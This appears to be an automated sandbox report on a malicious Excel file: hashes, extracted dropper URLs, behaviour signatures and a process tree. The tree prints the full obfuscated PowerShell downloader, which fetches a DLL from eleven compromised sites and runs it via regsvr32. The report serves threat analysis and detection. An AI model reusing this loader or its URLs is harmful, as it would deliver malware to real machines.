Analysis

  • max time kernel
    133s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 11:14

General

  • Target

    76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8.xls

  • Size

    88KB

  • MD5

    09540abe4eefcc4df4f28660dd88bbf7

  • SHA1

    995aa23533b328bdfa565a02aca3904320a2c445

  • SHA256

    76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8

  • SHA512

    6fb06b9ede41a9efc3e9b4657dcca1c9e4563b01759cb896c2d0716f6f3516c49d26e451adec14cd33dc4bfb1ebf66cbf0ffe055cffc38f9349622074b542b0c

  • SSDEEP

    1536:lyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQU1kWvgrPE4nWHPNc2Ap:lyehv7q2Pjx45uoDGTj+5xtekEvi8/dN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\bbiwjdf.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2148
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4000

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_st3yii22.ezm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    b200b5dc1163b76b16bb84d62008f4fb

    SHA1

    58c5f913d2e873fa82c4a375853f5c8df3554101

    SHA256

    3fc622ad6551edcaa2f0cb85976c87d61124a0a9e9380898cf5d99e358ad58f4

    SHA512

    a3a81da331503c2c5c3e59802db4e6e5bfb94e9e8ac9ed4c78185215c5a8293764e70e3e099f5ddf3fc61c9a08bb74033752ab9c212511468f5a0d8a2602db0b

  • \??\c:\programdata\bbiwjdf.vbs

    Filesize

    1KB

    MD5

    7baad56cc483132b8b9cb7a14722c3b1

    SHA1

    602f7933c443765697bb178ca137f17f81856f0d

    SHA256

    31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

    SHA512

    b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

  • memory/1968-19-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-20-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-6-0x00007FF9211B0000-0x00007FF9211C0000-memory.dmp

    Filesize

    64KB

  • memory/1968-7-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-12-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-11-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-13-0x00007FF91E8A0000-0x00007FF91E8B0000-memory.dmp

    Filesize

    64KB

  • memory/1968-10-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-21-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-9-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-15-0x00007FF91E8A0000-0x00007FF91E8B0000-memory.dmp

    Filesize

    64KB

  • memory/1968-17-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-18-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-0-0x00007FF9211B0000-0x00007FF9211C0000-memory.dmp

    Filesize

    64KB

  • memory/1968-4-0x00007FF9211B0000-0x00007FF9211C0000-memory.dmp

    Filesize

    64KB

  • memory/1968-16-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-14-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-22-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-8-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-1-0x00007FF9611CD000-0x00007FF9611CE000-memory.dmp

    Filesize

    4KB

  • memory/1968-27-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-76-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-5-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-3-0x00007FF9211B0000-0x00007FF9211C0000-memory.dmp

    Filesize

    64KB

  • memory/1968-2-0x00007FF9211B0000-0x00007FF9211C0000-memory.dmp

    Filesize

    64KB

  • memory/1968-132-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-133-0x00007FF9611CD000-0x00007FF9611CE000-memory.dmp

    Filesize

    4KB

  • memory/1968-134-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-138-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/1968-139-0x00007FF961130000-0x00007FF961325000-memory.dmp

    Filesize

    2.0MB

  • memory/2148-122-0x00000167ABD90000-0x00000167ABDB2000-memory.dmp

    Filesize

    136KB

  • memory/2148-145-0x00000167ACAE0000-0x00000167AD286000-memory.dmp

    Filesize

    7.6MB